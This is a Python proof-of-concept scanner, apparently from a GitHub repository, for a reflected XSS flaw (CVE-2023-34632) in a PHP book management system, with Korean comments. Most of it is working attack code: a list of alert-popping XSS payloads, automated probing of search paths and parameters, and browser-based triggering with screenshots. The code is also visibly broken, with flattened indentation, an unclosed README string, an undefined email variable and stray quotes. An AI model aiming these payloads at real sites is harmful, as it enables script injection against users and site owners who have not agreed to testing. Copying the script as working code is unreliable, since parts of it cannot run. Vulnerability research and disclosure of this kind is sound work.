README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2023-34632 PoC Auto-Tester
1000projects Book Management System 1.0 - Reflected XSS via Search Box
"""
import argparse
import json
import os
import sys
import time
import urllib.parse
from datetime import datetime
try:
import requests
except ImportError:
print("[!] requests 모듈이 필요합니다: pip install requests")
sys.exit(1)
try:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import (
TimeoutException, UnexpectedAlertPresentException,
NoAlertPresentException, NoSuchElementException
)
SELENIUM_AVAILABLE = True
except ImportError:
SELENIUM_AVAILABLE = False
print("[!] selenium 모듈이 없습니다. 수동 테스트 모드로 전환합니다.")
print(" 설치: pip install selenium webdriver-manager")
# ============================================================
# XSS 페이로드 목록
# ============================================================
XSS_PAYLOADS = [
# 기본 script 태그
{
"name": "Basic script alert",
"payload": '"><script>alert("CVE-2023-34632")</script>',
"detect": "alert"
},
# img onerror
{
"name": "IMG onerror",
"payload": '"><img src=x onerror=alert("CVE-2023-34632")>',
"detect": "alert"
},
# svg onload
{
"name": "SVG onload",
"payload": '"><svg/onload=alert("CVE-2023-34632")>',
"detect": "alert"
},
# 작은따옴표 탈출
{
"name": "Single quote escape",
"payload": "'-alert('CVE-2023-34632')-'",
"detect": "alert"
},
# event handler
{
"name": "Body onload",
"payload": '"><body onload=alert("CVE-2023-34632")>',
"detect": "alert"
},
# input autofocus onfocus
{
"name": "Input autofocus",
"payload": '"><input autofocus onfocus=alert("CVE-2023-34632")>',
"detect": "alert"
},
# marquee (일부 브라우저)
{
"name": "Details tag",
"payload": '"><details open ontoggle=alert("CVE-2023-34632")>',
"detect": "alert"
},
]
# 검색 기능이 있을 수 있는 경로들
SEARCH_PATHS = [
"/",
"/index.php",
"/book_list.php",
"/search.php",
"/books.php",
"/admin/",
"/admin/index.php",
"/admin/book_list.php",
]
# 검색 파라미터 후보
SEARCH_PARAMS = ["search", "q", "query", "keyword", "s", "book", "name", "title"]
class Colors:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
BOLD = "\033[1m"
END = "\033[0m"
def banner():
print(f"""
{Colors.CYAN}{Colors.BOLD}
╔══════════════════════════════════════════════════╗
║ CVE-2023-34632 PoC Auto-Tester ║
║ 1000projects Book Management System 1.0 ║
║ Reflected XSS via Search Box ║
║ ║
║ Discoverer: Wonkyeom Kim ║
╚══════════════════════════════════════════════════╝
{Colors.END}""")
def log_info(msg):
print(f" {Colors.BLUE}[*]{Colors.END} {msg}")
def log_success(msg):
print(f" {Colors.GREEN}[+]{Colors.END} {msg}")
def log_warning(msg):
print(f" {Colors.YELLOW}[!]{Colors.END} {msg}")
def log_fail(msg):
print(f" {Colors.RED}[-]{Colors.END} {msg}")
def log_vuln(msg):
print(f" {Colors.RED}{Colors.BOLD}[VULN]{Colors.END} {Colors.RED}{msg}{Colors.END}")
def test_reflected_http(base_url):
"""HTTP 응답에서 페이로드가 그대로 반사되는지 확인"""
print(f"\n{Colors.BOLD}[Phase 1] HTTP 반사 테스트{Colors.END}")
print("=" * 50)
results = []
marker = 'CVE2023TEST' + str(int(time.time()) % 10000)
# 1. 접속 가능 여부 확인
log_info(f"대상 URL 접속 확인: {base_url}")
try:
r = requests.get(base_url, timeout=10, allow_redirects=True)
log_success(f"접속 성공 (HTTP {r.status_code})")
except Exception as e:
log_fail(f"접속 실패: {e}")
log_warning("XAMPP/WAMP가 실행 중인지, 경로가 맞는지 확인하세요.")
return results
# 2. 검색 폼 자동 탐색
log_info("검색 기능 탐색 중...")
found_search = []
for path in SEARCH_PATHS:
url = base_url.rstrip("/") + path
try:
r = requests.get(url, timeout=5)
if r.status_code == 200:
html_lower = r.text.lower()
# 검색 폼이 있는지 확인
if any(kw in html_lower for kw in ['type="search"', 'name="search"',
'id="search"', 'placeholder="search',
'action="search', 'name="q"',
'name="query"', 'name="keyword"',
'검색', 'search']):
found_search.append(path)
log_success(f"검색 폼 발견: {path}")
except:
pass
if not found_search:
log_warning("자동 탐색으로 검색 폼을 찾지 못했습니다.")
log_info("모든 경로 + 파라미터 조합을 테스트합니다...")
found_search = SEARCH_PATHS
# 3. 반사 테스트
log_info("XSS 반사 테스트 시작...")
vuln_count = 0
for path in found_search:
for param in SEARCH_PARAMS:
test_url = base_url.rstrip("/") + path
test_payload = f'"{marker}<>'
# GET 파라미터
try:
r = requests.get(test_url, params={param: test_payload}, timeout=5)
if marker in r.text and '<>' in r.text:
log_vuln(f"반사 확인! GET {path}?{param}= → HTML 태그 필터링 없음")
# 실제 XSS 페이로드 테스트
for xss in XSS_PAYLOADS:
r2 = requests.get(test_url, params={param: xss["payload"]}, timeout=5)
if xss["payload"] in r2.text or 'alert(' in r2.text:
log_vuln(f" XSS 성공: [{xss['name']}]")
full_url = f"{test_url}?{param}={urllib.parse.quote(xss['payload'])}"
results.append({
"method": "GET",
"path": path,
"param": param,
"payload_name": xss["name"],
"payload": xss["payload"],
"full_url": full_url,
"reflected": True,
"response_snippet": r2.text[
max(0, r2.text.find(xss["payload"][:20]) - 50):
r2.text.find(xss["payload"][:20]) + len(xss["payload"]) + 50
] if xss["payload"][:20] in r2.text else ""
})
vuln_count += 1
except:
pass
# POST 파라미터
try:
r = requests.post(test_url, data={param: test_payload}, timeout=5)
if marker in r.text and '<>' in r.text:
log_vuln(f"반사 확인! POST {path} [{param}] → HTML 태그 필터링 없음")
for xss in XSS_PAYLOADS:
r2 = requests.post(test_url, data={param: xss["payload"]}, timeout=5)
if xss["payload"] in r2.text or 'alert(' in r2.text:
log_vuln(f" XSS 성공: [{xss['name']}]")
results.append({
"method": "POST",
"path": path,
"param": param,
"payload_name": xss["name"],
"payload": xss["payload"],
"full_url": test_url,
"reflected": True,
})
vuln_count += 1
except:
pass
if vuln_count > 0:
log_success(f"\n총 {vuln_count}개 XSS 벡터 발견!")
else:
log_warning("HTTP 반사 테스트에서 직접적인 XSS를 찾지 못했습니다.")
log_info("Phase 2(브라우저 테스트)에서 추가 확인합니다.")
return results
# ============================================================
# Phase 2: Selenium 브라우저 기반 테스트 (alert 확인 + 스크린샷)
# ============================================================
def test_browser_xss(base_url, results, output_dir):
"""Selenium으로 실제 브라우저에서 XSS 트리거 + 스크린샷"""
if not SELENIUM_AVAILABLE:
log_warning("Selenium이 설치되지 않아 브라우저 테스트를 건너뜁니다.")
return results
print(f"\n{Colors.BOLD}[Phase 2] 브라우저 XSS 테스트 + 스크린샷{Colors.END}")
print("=" * 50)
# Chrome 설정
chrome_options = Options()
# chrome_options.add_argument("--headless") # 스크린샷용이므로 headless 비활성화
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--window-size=1366,768")
chrome_options.add_argument("--disable-web-security")
try:
# webdriver-manager 사용 시도
try:
from webdriver_manager.chrome import ChromeDriverManager
service = Service(ChromeDriverManager().install())
driver = webdriver.Chrome(service=service, options=chrome_options)
except ImportError:
driver = webdriver.Chrome(options=chrome_options)
log_success("Chrome 브라우저 시작됨")
except Exception as e:
log_fail(f"Chrome 시작 실패: {e}")
log_info("ChromeDriver가 설치되어 있는지 확인하세요.")
log_info("설치: pip install webdriver-manager")
return results
screenshot_count = 0
# Phase 1에서 찾은 벡터 재검증
if results:
log_info(f"Phase 1에서 발견된 {len(results)}개 벡터 브라우저 검증...")
for i, res in enumerate(results):
if res["method"] == "GET":
try:
driver.get(res["full_url"])
time.sleep(1)
# alert 확인
try:
alert = driver.switch_to.alert
alert_text = alert.text
log_vuln(f"ALERT 팝업 확인! → '{alert_text}'")
# alert 뜬 상태로 스크린샷
ss_path = os.path.join(output_dir, f"poc_xss_{i+1}_alert.png")
driver.save_screenshot(ss_path)
log_success(f"스크린샷 저장: {ss_path}")
screenshot_count += 1
results[i]["alert_triggered"] = True
results[i]["alert_text"] = alert_text
results[i]["screenshot"] = ss_path
alert.accept()
time.sleep(0.5)
except NoAlertPresentException:
# alert 없지만 DOM에 주입됐을 수 있음
ss_path = os.path.join(output_dir, f"poc_xss_{i+1}_reflected.png")
driver.save_screenshot(ss_path)
results[i]["alert_triggered"] = False
results[i]["screenshot"] = ss_path
screenshot_count += 1
except UnexpectedAlertPresentException:
# alert가 페이지 로드 중에 바로 뜸
ss_path = os.path.join(output_dir, f"poc_xss_{i+1}_immediate.png")
driver.save_screenshot(ss_path)
log_vuln(f"즉시 ALERT 트리거! 스크린샷: {ss_path}")
screenshot_count += 1
results[i]["alert_triggered"] = True
results[i]["screenshot"] = ss_path
try:
driver.switch_to.alert.accept()
except:
pass
except Exception as e:
log_warning(f"테스트 중 오류: {e}")
# Phase 1에서 못 찾았으면 브라우저로 폼 직접 탐색
if not results:
log_info("폼 직접 탐색 시작...")
for path in SEARCH_PATHS:
url = base_url.rstrip("/") + path
try:
driver.get(url)
time.sleep(1)
# 검색 input 필드 탐색
search_inputs = []
for selector in [
'input[type="search"]',
'input[name="search"]',
'input[name="q"]',
'input[name="query"]',
'input[name="keyword"]',
'input[placeholder*="search" i]',
'input[placeholder*="Search" i]',
'input[placeholder*="검색"]',
]:
try:
elements = driver.find_elements(By.CSS_SELECTOR, selector)
search_inputs.extend(elements)
except:
pass
# 일반 text input도 시도
if not search_inputs:
try:
search_inputs = driver.find_elements(By.CSS_SELECTOR, 'input[type="text"]')
except:
pass
for inp in search_inputs:
try:
inp.clear()
payload = '"><script>alert("CVE-2023-34632")</script>'
inp.send_keys(payload)
inp.send_keys(Keys.RETURN)
time.sleep(2)
try:
alert = driver.switch_to.alert
alert_text = alert.text
log_vuln(f"XSS ALERT 발견! 경로: {path}, 텍스트: '{alert_text}'")
ss_path = os.path.join(output_dir, f"poc_browser_xss_{screenshot_count+1}.png")
driver.save_screenshot(ss_path)
log_success(f"스크린샷: {ss_path}")
screenshot_count += 1
results.append({
"method": "BROWSER",
"path": path,
"payload": payload,
"payload_name": "Basic script alert",
"alert_triggered": True,
"alert_text": alert_text,
"screenshot": ss_path,
})
alert.accept()
except NoAlertPresentException:
pass
except Exception as e:
pass
except Exception as e:
pass
# 정리 스크린샷: 메인 페이지
try:
driver.get(base_url)
time.sleep(1)
ss_path = os.path.join(output_dir, "poc_main_page.png")
driver.save_screenshot(ss_path)
log_info(f"메인 페이지 스크린샷: {ss_path}")
except:
pass
driver.quit()
log_info(f"총 {screenshot_count}개 스크린샷 캡처됨")
return results
# ============================================================
# Phase 3: PoC 리포트 생성
# ============================================================
def generate_report(base_url, results, output_dir):
"""GitHub에 올릴 수 있는 README.md와 JSON 리포트 생성"""
print(f"\n{Colors.BOLD}[Phase 3] PoC 리포트 생성{Colors.END}")
print("=" * 50)
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
# JSON 리포트
report_json = {
"cve_id": "CVE-2023-34632",
"product": "1000projects Book Management System 1.0",
"vulnerability_type": "Reflected Cross-Site Scripting (XSS)",
"cwe": "CWE-79",
"cvss_v3": "6.1 (Medium) - AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"discoverer": "Wonkyeom Kim",
"test_date": timestamp,
"target_url": base_url,
"findings": results,
"total_vectors": len(results),
}
json_path = os.path.join(output_dir, "poc_report.json")
with open(json_path, "w", encoding="utf-8") as f:
json.dump(report_json, f, indent=2, ensure_ascii=False)
log_success(f"JSON 리포트: {json_path}")
# README.md (GitHub용)
readme = f"""# CVE-2023-34632
## Reflected Cross-Site Scripting (XSS) in 1000projects Book Management System 1.0
### Description
A Reflected Cross-Site Scripting (XSS) vulnerability was discovered in 1000projects Book Management System version 1.0. The vulnerability exists in the search functionality, where user-supplied input is reflected in the response without proper sanitization or output encoding.
An attacker can craft a malicious URL containing JavaScript code. When a victim clicks the link, the script executes in the context of the victim's browser session, potentially leading to session hijacking, credential theft, or phishing attacks.
### Affected Product
| Item | Detail |
|------|--------|
| **Vendor** | [1000projects](https://1000projects.org/) |
| **Product** | Book Management System |
| **Version** | 1.0 |
| **Technology** | PHP / MySQL |
### Vulnerability Details
| Item | Detail |
|------|--------|
| **Type** | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| **Attack Vector** | Network |
| **Attack Complexity** | Low |
| **Privileges Required** | None |
| **User Interaction** | Required (victim clicks crafted URL) |
| **CVSS 3.1 Score** | 6.1 (Medium) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
### Proof of Concept
**Test Date:** {timestamp}
"""
if results:
readme += f"**{len(results)} XSS vector(s) confirmed:**\n\n"
for i, res in enumerate(results):
readme += f"#### Vector {i+1}: {res.get('payload_name', 'Unknown')}\n\n"
readme += f"- **Method:** {res.get('method', 'N/A')}\n"
readme += f"- **Path:** `{res.get('path', 'N/A')}`\n"
if res.get("param"):
readme += f"- **Parameter:** `{res['param']}`\n"
readme += f"- **Payload:** `{res.get('payload', 'N/A')}`\n"
if res.get("full_url"):
readme += f"- **Full URL:** `{res['full_url']}`\n"
if res.get("alert_triggered"):
readme += f"- **Alert Triggered:** ✅ Yes (`{res.get('alert_text', '')}`)\n"
if res.get("screenshot"):
ss_name = os.path.basename(res["screenshot"])
readme += f"- **Screenshot:** \n"
readme += "\n"
else:
readme += """**Manual Reproduction Steps:**
"""
readme += """### Root Cause
The search parameter is directly embedded into the HTML response without sanitization. The PHP code does not use `htmlspecialchars()` or equivalent output encoding before rendering user input.
**Vulnerable Code Pattern:**
readme_path = os.path.join(output_dir, "README.md")
with open(readme_path, "w", encoding="utf-8") as f:
f.write(readme)
log_success(f"GitHub README.md: {readme_path}")
mitre_path = os.path.join(output_dir, "MITRE_notification_email.txt")
with open(mitre_path, "w", encoding="utf-8") as f:
f.write(mitre_email)
log_success(f"MITRE 통보 메일: {mitre_path}")
return readme_path, json_path, mitre_path
# ============================================================
# Main
# ============================================================
def main():
banner()
parser = argparse.ArgumentParser(description="CVE-2023-34632 PoC Auto-Tester")
parser.add_argument("--url", "-u", default="http://localhost/book-management/",
help="대상 URL (기본: http://localhost/book-management/)")
parser.add_argument("--output", "-o", default="./CVE-2023-34632_PoC",
help="결과 저장 디렉토리 (기본: ./CVE-2023-34632_PoC)")
parser.add_argument("--no-browser", action="store_true",
help="브라우저 테스트 건너뛰기 (HTTP만 테스트)")
args = parser.parse_args()
base_url = args.url.rstrip("/") + "/"
output_dir = args.output
os.makedirs(output_dir, exist_ok=True)
log_info(f"대상: {base_url}")
log_info(f"결과 저장: {output_dir}")
# Phase 1: HTTP 반사 테스트
results = test_reflected_http(base_url)
# Phase 2: 브라우저 테스트
if not args.no_browser and SELENIUM_AVAILABLE:
results = test_browser_xss(base_url, results, output_dir)
elif not SELENIUM_AVAILABLE:
log_warning("Selenium 미설치 → 브라우저 테스트 건너뜀")
log_info("설치 후 재실행: pip install selenium webdriver-manager")
# Phase 3: 리포트 생성
readme_path, json_path, mitre_path = generate_report(base_url, results, output_dir)
# 최종 요약
print(f"\n{'=' * 50}")
print(f"{Colors.BOLD}[최종 요약]{Colors.END}")
print(f"{'=' * 50}")
if results:
print(f" {Colors.GREEN}✅ {len(results)}개 XSS 벡터 확인됨{Colors.END}")
else:
print(f" {Colors.YELLOW}⚠️ 자동 탐지 실패 — 수동 확인 필요{Colors.END}")
""")
if __name__ == "__main__":
main()